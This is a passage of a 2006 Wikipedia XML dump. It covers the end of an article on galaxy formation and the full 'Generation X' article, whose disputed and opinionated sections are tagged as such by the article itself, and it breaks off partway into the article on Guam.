
Further examples of satellite dwarf galaxies that are in the process of merging with the Milky Way are the [[Canis Major Dwarf Galaxy]], discovered in 2003 and thought to be responsible for the [[Monoceros Ring]], and the [[Virgo Stellar Stream]], discovered in 2005.

==Elliptical galaxies==
Giant [[elliptical galaxy|elliptical galaxies]] are probably formed by mergers on a grander scale. In the [[Local Group]], the Milky Way and [[M31]] (the [[Andromeda Galaxy]]) are gravitationally bound, and currently approaching each other at high speed. Since we cannot determine the speed of M31 perpendicular to the line from us to it, we do not know if it will collide with the Milky Way. If the two galaxies do meet they will pass through each other, with gravity distorting both galaxies severely and ejecting some gas, dust and stars into [[intergalactic space]].  They will travel apart, slow down, and then again be drawn towards each other, and again collide.  Eventually both galaxies will have merged completely, streams of gas and dust will be flying through the space near the newly formed giant elliptical galaxy.  Out of the gas ejected from the merger, new globular clusters and maybe even new dwarf galaxies may form and become the halo of the elliptical.  The globulars from both M31 and the Milky Way will also form part of the halo; globulars are so tightly held together that they are largely immune to large scale galactic interactions. On the stellar scale, little will happen.  If anybody is around to watch the merger, it will be a slow, but magnificent event, with the sight of a distorted M31 spectacularly spanning the entire sky. M31 is actually already distorted: the edges are [[warp (disambiguation)|warp]]ed. This is probably because of interactions with its own galactic companions, as well as possible mergers with dwarf spheroidal galaxies in the recent past - the remnants of which are still visible in the disk populations.

In our epoch, large concentrations of galaxies ([[groups and clusters of galaxies|clusters]] and [[supercluster]]s) are still assembling.  This &quot;bottom-up&quot; picture is referred to as ''hierarchical structure formation'' (similar to the SZ picture of galaxy formation, on a larger scale).

While we have learned a great deal about ours and other galaxies, the most fundamental questions about formation and evolution remain only tentatively answered.

== See also ==
* [[Bulge (astronomy)]]
* [[Disc (galaxy)]]
* [[Galactic coordinate system]]
* [[Galactic corona]]
* [[Galactic halo]]
* [[Galaxy rotation problem]]

==External links==
* [http://www.noao.edu/image_gallery/html/im0685.html Image of Andromeda galaxy (M31)] - from:
* [http://www.noao.edu/image_gallery/galaxies.html NOAO gallery of galaxy images]
* [http://www.astro.yale.edu/dokkum/evocalc/ javascript passive evolution calculator] of [[early type galaxy|early type (elliptical) galaxies]] - Dokkum &amp; Franx

==References==
{{note|ELS}}Eggen, OJ, Lynden-Bell, D., &amp; Sandage, AR 1962, ''[[Astrophysical Journal|The Astrophysical Journal]]'', 136, 748

{{note|SZ}}Searle L ­ , Zinn R ­ . 1978. ''[[Astrophysical Journal|The Astrophysical Journal]]'' 225:357–79.

{{Astronomy-footer}}
[[Category:Galaxy formation and evolution| ]]
[[Category:Galaxies|Formation]]
[[Category:Astrophysics]]

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[[sk:Vznik a vývoj galaxií]]</text>
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      <comment>correcting capitalization</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Privacy Guard]]</text>
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  <page>
    <title>Generation X</title>
    <id>11973</id>
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      <id>41783774</id>
      <timestamp>2006-03-01T18:51:57Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{OriginalResearch}}
{{Totallydisputed}}
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{{otheruses}}
'''Generation X''' is a term for the generation of people born in the [[Western world]] (especially people born in [[Australia]], [[Canada]], [[New Zealand]], the [[United States]] and the [[United Kingdom]]) following the [[post-World War II baby boom]] generation.  While the exact dates bounding this age demographic are highly debated, those born from the [[1960s]] to the early [[1980s]] are generally agreed-upon as possibly members of this group.  The term is used in [[demography]], the [[social sciences]], [[marketing]], but mainly, in [[Popular_culture|popular culture]].  Their influence over pop culture began in the [[1980s]] and has only grown in the [[1990s]] and [[2000s]].

Although the origins of the term &quot;Generation X&quot; go back at least as far as the early [[1960s]], it was popularized by [[Douglas Coupland]]'s [[1991]] novel ''[[Generation X: Tales for an Accelerated Culture]]'', in which Coupland describes the angst of those born between roughly 1960 and 1965, who, while technically part of the Baby Boom Generation, feel no connection to its cultural icons. In Coupland's usage, the &quot;X&quot; of Generation X referred to the namelessness of a generation that was coming into an awareness of its existence as a separate group while at the same time feeling completely dwarfed and culturally overshadowed by the Baby Boom generation of which it was ostensibly a part. The term Generation X has come to mean something else in popular usage (see below), having been appropriated by the generation following the Baby Boomers -- leaving Coupland's Generation X once again nameless. 

The term Generation X is now popularly associated with the people born between the early to mid-1960s and the early 1980s {{ref|strausshowe}}&lt;!-- this is the popular definition, as stated by Strauss and Howe - the article states right here that it's disputed, so there is no need to keep changing these dates --&gt;, although this is disputed. Generation X has also been described as a generation consisting of those people whose teen years were touched by the 1980s, although many who are considered part of this generation had their teenage years stretching into the 1990s.

Another common description of Generation X includes within it those people who grew up in a period of transition ([[1945]]&amp;ndash;[[1990]]) beginning with the end of [[World War II]] and the decline of [[Colonialism|colonial imperialism]] and ending with the fall of the [[Berlin Wall]] and the end of the [[Cold War]]. Thus, the transition between colonialism and [[globalization]] is thought to separate the Baby Boomers from the [[Baby Busters]], a sub-generation of Generation X made up of the earliest born members. 


==The history of the term==
The term was coined as a result of a [[1964]] study of [[United Kingdom|British]] youth by [[Jane Deverson]]. Initially, Deverson was asked by the editor of the magazine ''Woman's Own'' to conduct a series of interviews with [[teenager]]s of the time. The study revealed teenagers who &quot;sleep together before they are married, don't believe in God, dislike the Queen and don't respect parents&quot; which, due to being a new phenomenon, was deemed unsuitable for the magazine. Deverson, in an attempt to save her research, worked with Hollywood correspondent Charles Hamblett to create a book about the study. Hamblett would decide to name it ''Generation X''.{{ref|observer}}

In 1976, the phrase was picked up as the name of a [[Generation X (band)|punk rock band]] featuring [[Billy Idol]], which released three albums before disbanding in 1981.{{ref|amg}} The term Generation X was later popularized in 1991 when [[Douglas Coupland]]'s popular novel ''Generation X: Tales for an Accelerated Culture'' was published. Coupland took the X from [[Paul Fussell]]'s 1983 book ''Class'', where the term &quot;class X&quot; designated a region of America's social hierarchy, rather than a generation.{{ref|genxorigin}} However, this term has transcended its roots in that country and expanded into other areas of the West.

Coupland first wrote of Generation X in September, 1987 (''Vancouver'' magazine, &quot;Generation X&quot;, p. 164), which was a precursor to the novel and slightly preceded the term &quot;twentysomething&quot;. The main character Kevin is a Canadian &quot;trailing edge&quot; baby boomer who denies cohort affiliation with his older sister and friends, all boomers. Kevin and his cohorts are all over-educated, under-employed, and pay sky-rocketing living expenses, which forces some to move back home to live with their parents. Unlike Boomers, they were too young to march for peace (Vietnam protests ended with the draft in 1973 with protestors typically aged 16-25) and either weren't born or were too young to recall [[John F. Kennedy|Kennedy's]] assassination in 1963 (long term memory starting at age 5). Coupland referred to those in born from 1958 to 1966 (in Canada) and 1958 to 1964 (in the United States). As the term Generation X later became somewhat interchangeable with &quot;twentysomething&quot;, he later revised his notion of Generation X to include anyone known as &quot;twentysomething&quot; in the years 1987 to 1991.{{ref|coupl2030}}

As Coupland explained in a 1995 interview, &quot;In his final chapter, Fussell named an 'X' category of people who wanted to hop off the merry-go-round of status, money, and social climbing that so often frames modern existence.&quot; It was after the publication of Coupland's book (and the subsequent popularity of [[grunge music]]) that the term began being used as a name for the generation by the media and later by the general public. The media introduced Generation X as a group of flannel-wearing, alienated, overeducated, underachieving [[slacker]]s with [[body piercing]]s, who drank franchise-store coffee and had to work at [[McJob]]s, concepts that had some truth to them but were in many cases stereotypes. In fact, while Coupland's book is often seen as being an accurate description of the generation, Coupland maintains that the book was meant to show the lack of a single description for it.

==Global factors defining Generation X==
[[Japan]] has a generation with similar characteristics to Generation X, ''shin jin rui''.

[[Developing countries]], too, have a Generation X,  but it differs from that in the West, due to poor education and little disposable income. The version of Generation X that the developing nations experience essentially came out of the end of [[World War II]] and the subsequent decline of colonial occupation, the changes demanded on [[social hierarchy]] that it accompanied among the second generation born since the Second World War, and the duality of democratic transition amid increasing [[information blockade]] and ever-increasing numbers of people seeking [[Urban culture|urban]] life over an [[Agriculture|agrarian economy]].

The alleged version of Generation X in the developing world is the following: 

* its need to redefine [[social norms]] to newer socio-economic systems
* the sheer pace at which they need to adapt to new social influences along with the need to integrate them to their native cultural context
* the constant aspiration for a more egalitarian society in cultures that were long colonised and have an even longer history of hierarchical [[social structure]].

The aspects that bind Generation X across economic levels and cultures are the defining points of the 1970s: the [[Bretton Woods system]] and its subsequent failure, the impact of the [[contraceptive pill]] on social-interactional dynamics, and the [[oil shock]] of [[1973]].  

Gen X's attitude towards technology can be summarized by noticing that most were either born after the [[Apollo 11|1969 moon landing]], or were very young at that time.  Therefore, to Gen Xers, &quot;anything is possible&quot;, as long as you're willing to throw enough money at it.  Thus for Gen X, success is much less a matter of ''if'' one can accomplish something; and more a matter of ''should'' one accomplish something: a &quot;so what&quot; factor.  Gen X may be all about choosing one's priorities (and then maintaining the will and discipline to follow through with them) rather than dreaming of the Possible (especially false [[utopia]]s, per ''[[Nineteen Eighty-Four]]'' and other literature in Gen X required school reading).  Gen X knows we landed on the moon, from reading the history books; but didn't live through and feel the national pride; it's a &quot;so what&quot;.  

Other common global influences defining Generation X across the world include: increasingly flexible and varied gender roles for women contrasted with even more rigid [[gender roles]] for men, the unprecedented socio-economic impact of an ever increasing number of women entering the non-agrarian economic workforce, and the sweeping cultural-religious impact of the [[Iranian revolution]] towards the end of the 1970s in [[1979]].

The global experience of a cultural transition like Generation X, although in various forms, revealed the inter-dependence of economies since World War II in [[1945]], and showed the huge impact of American economic policies on the [[world]].

Generation X grew up during the end of the [[Cold War]] and the [[Ronald Reagan]]/[[Margaret Thatcher]]/[[Mikhail Gorbachev]] eras but as they transitioned into adulthood watched the [[Soviet Union]] collapse and America become the only superpower.  As Gen X transitions into parenthood, they've compared the Boomer media and college professor versions of history with their own concurring or differing perceptions. 

==Beginnings==
The generation was traditionally begun at [[1965]], when North American  [[birth rate]]s had dropped into what is frequently called the &quot;[[Baby Busters|Baby Bust]]&quot; that followed the Baby Boom span of [[1946]]&amp;ndash;[[1964]], but since many notable people who are normally thought of as clearly Gen-X, such as [[Courtney Love]], [[Janeane Garofalo]] and [[Eddie Vedder]], were born in 1964, this year is often cited as the beginning of Generation X.  

In the book ''[[Generations (book)|Generations]]'' [[William Strauss]] and [[Neil Howe]] called this generation the &quot;13th Generation&quot; because the tag, like this generation, is a little [[Friday the 13th|Halloweenish]], and it is the thirteenth to know the flag of the [[United States]] (counting back to the peers of [[Benjamin Franklin]]). Strauss and Howe defined the birth years of the 13th Generation as [[1961]] to [[1981]].{{ref|strausshowe}}

In continental Europe, the generation is often known as Generation E, or simply known as the Nineties Generation, along the lines of such other European generation names as &quot;Generation of 1968&quot; and &quot;Generation of 1914&quot;. In France, the term ''[[Génération Bof]]'' is in use, with &quot;bof&quot; being a French word for &quot;whatever&quot;, considered by some French people to be the defining Gen-X saying. In Iran, they are called the [[Burnt Generation]]. In some Latin American countries the name &quot;[[Crisis Generation]]&quot; is sometimes used due to the recurring financial crisis in the region during those years. In the Communist bloc, these Gen-Xers are often known to show a deeper dislike of the Communist system than their parents since they grew in an era of political and economic stagnation, and were among the first that embraced the ideals of [[Glasnost]] and [[Perestroika]], which they tend to be called the [[Glasnost-Perestroika Generation]].

In the USA, this generation's parents are the [[Silent Generation]] and the early Baby Boomers (post-WWII). Generation X's typical grandparents are from the [[G.I. Generation]] (the World War II generation), but sometimes from the Silent Generation. Generation X's children will be or have been born in the late [[1980s]] and into the[[1990s]], forming [[Generation Y]] and the [[Generation Z|following generation (Generation Z)]]. Assuming the average person has their children somewhere in his or her 20's, this means Generation X's children will be born between [[1984]] and [[2004]]. Its typical grandchildren will be born from [[2005]] to about [[2025]].  

In Western countries, Generation X consists of far fewer people than the baby boom generation and has had correspondingly less impact on [[popular culture]], but it came into its own during the late [[1980s]] and early [[1990s]]. As is common in generational shifts, Gen-X thinking has significant overtones of cynicism against things held dear to the previous generation. A fashion for grunge music exemplified by the band [[Nirvana (band)|Nirvana]] expressed the frustrations of a generation forever doomed to live in the shadow of its elders.   Others point out that grunge derived its stance and musical values from [[1970s]] [[punk music|punk]] and [[heavy metal music|heavy metal]], and thus was simply part of the wave of 1970s nostalgia that swept college campuses in the early 1990s. European music experienced a renaissance in the form of many kinds of electronic dance music such as [[Acid House]], [[Rave]] etc pioneered by groups such as [[The Shamen]] which were less beholden to 1970s nostalgia, and more clearly descended from 1980s American club &quot;house&quot; music. The electronic dance scene in Europe would experience great notoriety thanks to a number of highly publicised [[Ecstasy (drug)|Ecstasy]] related deaths.

==Outlook==
{{Generations}}
Despite their generational attitude against collectivism, Generation Xers take some group pride in their generation.  In math, &quot;X&quot; stands for 'substitute anything', and Gen X takes some collective pride in their own tolerance, diversity and inability to be labeled.  Previous generations may have overly claimed to be &quot;liberal&quot;, e.g. for civil and feminist rights while in result providing special results that inevitably became overt reverse discrimination.  The Boomer generation became viewed as secular -- pro-choice, against the Christian Coalition, perhaps even anti-family -- to the extent that the 'liberals' wanted to legally impose equity and acceptance of many moral lifestyles choice on others.  Meanwhile, Gen X quietly practices their tolerance, as shown by the increase in inter-racial marriages and adoptions, experimenting with alternative lifestyles such as living together before marriage, while not yet showing a desire to impose their personal individual choices on society via legalisms.  Gen Xers moving into marriage and parenting are expressing a stronger desire to maintain the nuclear family.  Some Gen Xers delayed marriage in order to more carefully choose/find a mate for a lifetime.  If the marriage does end in divorce, both parents stay involved with the children via joint custody. 

While Gen X childhood was filled with Brady Bunch/Happy Days/Eight-is-Enough, their teen/college years included &quot;Married With Children&quot;, an internally-competitive family yet a unified team/unit if the family was threatened.  This is one example of a new Gen X paradigm: individual competitiveness yet loyalty as compatible and healthy societal concepts.  Economically, Gen X saw their parents go through the 1970s corporate downsizing; therefore, internalizing an awareness of a lack of societal safety nets and a need to be individually competitive rather than become 'comfortable' and complacent.  Gen X watched Schoolhouse Rock's America Rock (1973-1985) celebrate U.S. history, especially Independence era songs, correlated with Superfriends Justice League (1973-).  Gen X economic values can be observed in their 'free agent' attitude: competitive and hard-working entrepreneurs (as owners or as employees willing to change projects and/or companies), coupled with a risk-reward awareness.  What values Gen X internalized politically may become discernable about 2008; after enough four-year Presidential elections for values to solidify and enough non-incumbent elections for issue patterns to finally (potentially) become identifiable.  

In parenting, one theory is that Gen X is rejecting the [[Dr. Spock]] 'self-esteem' bromide for standards and a recognition that there is &quot;good&quot; and &quot;bad&quot; (and there is religious good/evil and war heroes/villians); although the mix of factors is the educational debate (e.g. Gen X and Boomer parents, emerging Gen Y parents, the Boomer-dominated Teacher's Unions, political party power plays, etc) make assertions here difficult to verify with data.  

Some have suggested Xer's generational pride translates into active rebellion against what Gen X believed was the shallow, misguided and self-serving (and hypocritical) idealism the Boomers advocated in the [[1960s]]. Some would also argue that it is not merely that Generation Xers reject the idealism of the 1960s, but that they bear a deeper cynicism of the fact that such &quot;idealism&quot;, inevitably doomed in its gratuitous na&amp;iuml;vet&amp;eacute;, so quickly gave way to an era unequivocally focused on commercial and industrial 'progress'. Those who were born in the [[1970s]], growing up during the [[1980s]], and becoming young adults in the [[1990s]] had little to no influence on the observed changes, and many of this generation blame their Baby Boomer parents. This scorn for Boomer actions may be supplemented by self-pride and a respect for the past, specifically for their grandparents of the [[Lost Generation]] and [[Silent Generation]], who are seen as actually ideal as opposed to their parents who strove to be carefree, thus quickly forgetting their values. Xers fantasize about how the 1960s and 1970s supposedly offered Boomers easy sex without consequence (though this was still available to the Gen-Xers who came of age in the 1970s) while resenting the lasting damage done by an era in which they now realize they were the babies adults were trying so much not to have.  Hence, the rise in rates of [[divorce]].  Members of this generation who marry thus profess a strong desire to keep their marital vows, even though they are predicted more likely themselves to divorce (since Generation X began marrying, the divorce rate continue to hover around 50%). 

Interestingly, however, while Generation Xers are often considered to be 'non-ideological' politically, the generation has given birth to some extremely persuasive and decidedly ideological political thinkers and writers of many different kinds. Nonetheless, even ideological Generation Xers still appear to clash as much with prior generations and their ideologies and institutions, as they do with each other ideologically. Gen Xers are likely to even take pride in this rigorous open debate, since it fits the symbology of &quot;X&quot; as the Melting Pot, tolerant of ideas so they best can rise to the top.

Other people born in the described time period reject ideological labels as not particularly useful, and point to social class, geography, and other factors having far more influence than chronology.

Generation X has survived a hurried childhood of divorce, latchkeys, [[space shuttle]] explosions, open classrooms, widespread public knowledge of political corruption, inflation and recession, post-[[Vietnam War|Vietnam]] national malaise, environmental disaster, the Islamic Revolution (in Iran), [[devil-child movies]], and a shift from &quot;G&quot; to &quot;R&quot; [[MPAA film rating system|ratings]] (which had little effect outside the United States). 

Divorce became commonplace and affected families of all social and economic backgrounds. Naturally, Gen Xers were affected by the continual bombardment of TV images of the nuclear family (Brady Bunch, Happy Days) in contrast to their own; and feelings of inadequacy and isolation from society resulted. They came of age curtailing the earlier rise in youth crime (particularly in South America, though crime fell in Iran) and fall in [[SAT college entrance test|SAT test]] scores&amp;mdash;yet heard themselves denounced as so wild and stupid as to put ''The Nation At Risk''. As young adults, maneuvering through a sexual barricade of [[AIDS]] and blighted courtship rituals, they date[d] cautiously. With late-teen and/or young adult successes, feelings of inadequacy could be replaced with self-reliance and self-assurrance, a knowledge each could make it on their own individual merits and a sense that their generation had developed an above-average wealth of coping skills.  Divorce rates grew, however significant alternatives to traditional marriage (from remaining single to same-sex couples to merely &quot;living together&quot;) also arose. Technology-wise the Defense-created Arpanet became and spread as the consumers [[Internet]].  Communication mediums changed.  An early characterization is this: Face-to-face communication would become secondary, books beside the point, near-infinite knowledge on hand at all times, and tech-related jobs a hot commodity.  However, one-to-one inter-personal interactive communication (just not always face-to-face) may actually have grown; e.g. newsgroups and chatrooms, directly emailing a bloggers versus the mass-receive-only of newspapers, individual cell phones rather than the household (and the rural group line where your neighbor could listen in). In jobs, they embrace risk and prefer free agency to loyal corporatism. Politically, they often lean towards non-affiliation in the USA.  

Predominantly DNC-voters may call themselves [[progressivism|progressive]] instead of liberal (which became an overloaded term with negative connotations in election.  Predominantly GOP-voters may call themselves libertarian (in lieu of e.g. 'social liberal, fiscal conservative' and perhaps with the clarifier 'pro-defense libertarian' to distinguish them from anti-war peaceniks).  Of note, some Gen Xers first reached voting age when Ross Perot ran for President from the Reform Party.  

Outside the US, many lean towards [[libertarianism]] or [[anarchism]]. 

Sometimes criticized as &quot;slackers&quot;, they nevertheless were widely credited with a new growth of entrepreneurship and the resulting [[dot-com]] boom.  These former latchkey kids may have remembered their self-oriented at-the-office-all-the-time-even-weekends parents, yet who were downsized.  Gen Xers in the work-force then were 'Work Hard, Play Hard' employees (and business starters): During work hours, they were highly productive, competitive self-starters and contributors; but then left the office promptly, to play-hard at the bar/hobby/recreation or secondary job or ongoing education.  In some cases, the Play Hard activity then became their first activity; e.g. a successful band gig could go professional, an arts-andscrafts or technical hobby became business start-ups, or an ongoing education became an inter-company transfer/promotion from factory floor to a desk job.  It has been said that a &quot;Gen-Xer&quot; differs from a [[savings bond]], in that eventually, a savings bond will mature and earn money.

The [[1991]] end of the [[Cold War]] was also very important and coincided with Gulf War I, a.k.a. Desert Shield/Storm.  These events may have solidified national and/or economic allegiances and attitudes in Xers worldwide.  U.S. Xers could again express pride in their military, flag wave, reject the Vietnam-losers image, and perhaps even participate in a pro-war (pro-Just War?) campus rally.

==Notes==
#{{note|coupl2030}}In an interview with the ''Calgary Herald'' in 1992, Coupland said those &quot;aged about 20 to 33&quot; belonged to the generation.{{ref|vanmag}}

==See also==
*[[List of Generation Xers]]
*[[MTV Generation|XY Cusp]] aka ''MTV Generation''

==References==
*{{note|observer}}Asthana, Anushka &amp; Thorpe, Vanessa. &quot;[http://observer.guardian.co.uk/uk_news/story/0,6903,1396618,00.html Whatever happened to the original Generation X?]&quot;. ''[[The Observer]]''. January 23, 2005.
*Deverson, Jane &amp; Hamblett, Charles. ''Generation X: Today's Generation Talking About Itself''. London: Tandem, 1964. ISBN 0874496209 (different edition). (Review: [http://www.trashfiction.co.uk/youth_nf.html])
*{{note|oordbook}}Oord, Thomas Jay, ed.. ''Generation Xers Talk about the Church of the Nazarene''. Kansas City: Beacon Hill, 1999. ISBN 0834118157
*{{note|amg}}Prato, Greg. &quot;[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:m7tvad3kv8w3 Generation X]&quot;. ''[[All Music Guide]]''. Retrieved July 6, 2005.
*{{note|strausshowe}}Strauss, William &amp; Howe, Neil. ''Generations: The History of America's Future, 1584 to 2069''. Perennial, 1992 (Reprint). ISBN 0688119123
*{{note|genxorigin}} [http://www.geocities.com/SoHo/Gallery/5560/cnn1.html Interview with Douglas Coupland on [[CNN]]'s ''Heads Up''], May 28, 1994.
*{{note|vanmag}}Smyth, Michael. &quot;[http://www.geocities.com/SoHo/Gallery/5560/genx9.html  Review of Generation X]&quot;. ''Calgary Herald''. January 21, 1992.
*{{note|babyboomers}} http://www.babyboomers.com/
*{{note|genx}} http://www.onpoint-marketing.com/generation-x.htm
*{{note|geny}} http://www.onpoint-marketing.com/generation-y.htm

{{start box}}
{{succession box |  &lt;!-- These dates cite Strauss/Howe's Generations and other sources, and have been crafted via to meet a consensus, as much as possible. Do not change them unless you can cite a reputable, published source, and discuss your changes in Talk first. --&gt;
before = [[Baby boomers]]&lt;br /&gt;1943-1946 to 1957-1964* {{ref|vanmag}} {{ref|strausshowe}} {{ref|babyboomers}} |
title = [[Generation X]] |
years = 1958-64 to 1980-81* {{ref|vanmag}} {{ref|strausshowe}} {{ref|genx}} |
after = [[Generation Y]]&lt;br /&gt;1981 to 1995-2001* {{ref|geny}} {{ref|strausshowe}} |
}}
{{end box}}

'''*NOTE: These years are estimates only based on the sources referenced above. The exact year ranges of the generations are debated; different sources state different start and end dates.'''

[[Category:1960s births|*Generation X]]
[[Category:1970s births|*Generation X]]
[[Category:Living people|*1960s Generation X]]
[[Category:American generations]]
[[de:Generation X]]
[[es:Generación X]]
[[fr:Génération X]]
[[pl:Generacja X]]
[[pt:Geração X]]
[[sv:Generation X]]
[[zh:X%E4%B8%96%E4%BB%A3]]</text>
    </revision>
  </page>
  <page>
    <title>Guam</title>
    <id>11974</id>
    <revision>
      <id>41290428</id>
      <timestamp>2006-02-26T08:47:31Z</timestamp>
      <contributor>
        <ip>69.216.28.106</ip>
      </contributor>
      <comment>/* Ecological Issues */</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''The Territory of Guam&lt;br&gt;Guåhån'''&lt;/big&gt;
|- 
| style=background:#efefef; align=center colspan=2 | 
{| border=0 cellpadding=2 cellspacing=0
| align=center width=140px | [[Image:Flag of Guam.svg|125px|Flag of Guam]] 
| align=center width=140px | [[Image:Coat of arms of Guam.svg|70px|Guam coat of arms]] 
|- 
| align=center width=140px | &lt;font size=-1&gt;([[Flag of Guam|In Detail]])&lt;/font&gt;
| align=center width=140px | &lt;font size=-1&gt;([[Coat of Arms of Guam|In Detail]])&lt;/font&gt;
|}
|- 
| align=center colspan=2 style=border-bottom:3px solid gray; | &lt;font size=-1&gt;''Territorial [[motto]]: Where America's Day Begins''&lt;/font&gt;
|- 
| align=center colspan=2 | [[Image:LocationGuam.png]]
|- 
| Official [[language]]s
| [[English language|English]], [[Chamorro language|Chamorro]] 
|- 
| Unofficial [[language]]s
| [[Tagalog language|Tagalog]], [[Chuukese language|Chuukese]], and various [[Micronesian languages]] (used in conversation); [[Japanese language|Japanese]], [[Korean language|Korean]], [[Chinese language|Chinese]] (used in conversation and some business transactions); other languages from islands and nations in this region. While not an official language, Tagalog is growing in usage due to the increase in the number of [[Filipino people|Filipinos]] residing on the island.
|-
| [[Capital]]
| [[Hagåtña, Guam|Hagåtña]] 
|- 
| [[List of Guam Governors|Governor]]
| [[Felix Perez Camacho]] 
|- 
| [[Area]]&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 202nd]] &lt;br&gt;[[1 E8 m²|549]] [[square kilometre|km²]]  (212 square miles) &lt;br&gt; Negligible 
|- 
| [[Population]] &lt;br&gt;&amp;nbsp;- Total ([[2003]]) &lt;br&gt;&amp;nbsp;- [[Population density|Density]] 
| [[List of countries by population|Ranked N/A]]&lt;br&gt;  163,941 (July 2003 est.) &lt;br&gt;299/km² 
|- 
| [[Independence]]
|  none (territory of the [[United States|USA]]) 
|- 
| [[Currency]]
| [[US dollar]] (USD) 
|- 
| [[Time zone]]
| [[Coordinated Universal Time|UTC]]+10 (no DST) 
|- 
| [[National anthem|Territorial anthem]]
|  ''Fanoghe Chamorro'' 
|- 
| [[Top-level domain|Internet TLD]]
| [[.gu]] 
|- 
| [[List of country calling codes|Calling Code]]
| 1-671 
|} 

[[Image:Apra Guam.jpg|right|thumb|300px|Apra Harbor from the air]]
[[Image:GuamMap.png|thumb|right|Map of Guam]]

The '''Territory of Guam''' (''Guåhån'' in [[Chamorro language|Chamorro]]) is an island in the Western [[Pacific Ocean]] and is an [[organized territory|organized]] [[unincorporated territory]] of the [[United States]]. Its inhabitants are largely [[Chamorros]], who first populated the island approximately 3,500 years ago. It is the largest and southernmost of the [[Mariana Islands]]. The capital is [[Hagåtña, Guam|Hagåtña]], formerly Agana (pronounced Agaña). Guam's economy is mainly supported by [[tourism]] (particularly from [[Japan]]) and [[United States armed forces]] bases. The latter takes up one-third of the entire land mass of the island. The [[United Nations]] Committee on Decolonization includes Guam on the [[United Nations list of Non-Self-Governing Territories]].

==History of Guam==
{{main|History of Guam}}

Guam's history of colonialism is the longest among the Pacific islands. Guam's first contact with western civilization occurred when [[Ferdinand Magellan]] reached the island in [[1521]] during his around the world voyage. General [[Miguel López de Legazpi]] claimed Guam for Spain in 1565. Spanish colonization commenced in 1668. Between 1668 and 1815, Guam was an important resting stop on the [[Spain|Spanish]] trade route between the [[Philippines]] and [[Mexico]].  While Guam's Chamorro culture is unique (even when compared to neighboring [[Northern Mariana Islands]]), the cultures of both Guam and the Northern Marianas were heavily influenced by Spanish culture and traditions.

The [[United States]] took control of the island in [[1898]] after the [[Battle of Guam (1898)|Battle of Guam of 1898]] in the [[Spanish-American War]]. Guam was the southernmost island in the Marianas Group and this political change started Guam and the Northern Marianas (including [[Saipan]] and [[Tinian]]) down separate paths.  Guam came to serve as a way station for American ships traveling to and from the Philippines.  

During [[World War II]], Guam was attacked and invaded by the Japanese armed forces in [[1941]]. The Northern Mariana islands had become a Japanese protectorate before the war.  The Northern Mariana Chamorros, as a result, were allies of the Japanese.  The Guam Chamorros were treated as an occupied enemy by the Japanese military.  The United States returned and fought the [[Battle of Guam]] in [[1944]] to recapture the island from Japanese military occupation. While the Northern Marianas were also liberated from Japanese rule and came under the U.S. political rule and commonwealth status, some cultural rift between Guam and Northern Mariana Chamorros remains.   

The [[Organic Act of 1950]] established Guam as an unincorporated [[Organized territory|organized territory]] of the United States, provided for the structure of the island's government, and granted the people United States citizenship.

== Politics of Guam ==
{{main|Politics of Guam}}
The population of Guam is largely proud of its U.S. connection, and its economy is greatly dependent on the US military bases. The U.S. connection also contributes to Guam's status as a Japanese tourist destination.  The Guamanian population is generally culturally sympathetic toward the U.S., based especially in common tribulations during [[World War II|WWII]], and on good relations with the U.S. military since. 

Maintenance of the status quo vis-à-vis the current political relationship between the territory and the U.S. is, however, not without controversy. There is a significant movement in favor of Guam becoming a [[commonwealth]] in political union with the U.S. (''i.e.'', the political status of [[Puerto Rico]] and the [[Northern Mariana Islands]]).  Competing movements with less significant influence exist, one of which advocates political independence from the United States, while another movement advocates [[statehood]]. These proposals however, are not seen as favorable or realistic within the U.S. federal government, who argue Guam does not have the financial stability or self sufficiency to warrant such status. The same sources quickly provide evidence of Guam’s increasing reliance on Federal spending, and question how commonwealth status or statehood would benefit the United States as a greater whole.

In whatever form it takes, most people on Guam favor a modified version of the current territorial status, involving greater autonomy from the federal government (similar to the autonomy of individual states).  Perceived indifference by the U.S. Congress regarding a change-of-status petition submitted by Guam has led many to feel that the territory is being unjustly deprived of the benefits of a more equitable union with the U.S.

''See: [[List of Guam Governors]]''

== Transportation and Communications in Guam ==
:''Main articles: [[Communications in Guam]], [[Transportation in Guam]]''

Guam is served by [[Antonio B. Won Pat International Airport]].

== Economy ==
Guam's economy depends primarily on tourism, the United States military base presence, and other federal spending. Although Guam receives no foreign aid, it does receive large transfer payments from the general revenues of the US Federal Treasury into which Guam pays no income or excise taxes; under the provisions of a special law of Congress, the Guam Treasury, rather than the US Treasury, receives federal income taxes paid by military and civilian Federal employees stationed in Guam.

Guam is a favorite destination for Japanese tourists.  Guam is a relatively short flight from Japan compared to [[Hawaii]], and a series of tourist hotels and golf courses were built to cater to the tourists.  Today, about 90 percent of tourists to Guam are Japanese. Big sources of revenue to the area are the many [[duty-free]] designer shopping outlets, and the American-style [[Micronesia Mall]].

The main tourist beach, [[Tumon]] Bay has beautiful white sand, and Tumon Bay is now a marine preserve, teeming with fish.   Recently completed infrastructure projects have brought underground fiber-optics and new roads to the busy Tumon area.

The economy had been booming since 2000 due to Japanese tourists, but took a downturn with the rest of Asia. Guam has a 14% unemployment rate, and the government suffered a $314 million shortfall in 2003 alone.[http://pacificweb.org/guam/2004%20Guam%20Yearbook/2004_Guam_Yearbook_FinalR2_Full%20Version.pdf]

The following is the amount in billion of dollars, that the Government of Guam has spent in Federal grants for various government and economic expenditures minus those of the United States Armed Forces:[http://investguam.com/Stats/FedExp93-03guam.pdf]

::1993 - $1.004
::1994 - $1.061
::1995 - $0.809
::1996 - $0.829
::1997 - $0.846
::1998 - $0.998
::1999 - $0.844
::2000 - $0.841
::2001 - $0.907
::2002 - $1.113
::2003 - $1.538

&quot;The Compact of Free Association between the United States of America, the Federated States of Micronesia, and the Republic of the Marshall Islands was signed in 1982, and ratified in 1986. It accorded the former entities of the Trust Territory of the Pacific Islands a political status of 'free association.'&quot; [http://www.fm/jcn/compact/introfr.html Compact of Free Association]  The Compact was an agreement to which the Guam was not a party.  However, Guam along with Hawaii and California have borne the economic brunt of this treaty.

==Geography==
:''Main articles: [[Geography of Guam]]''

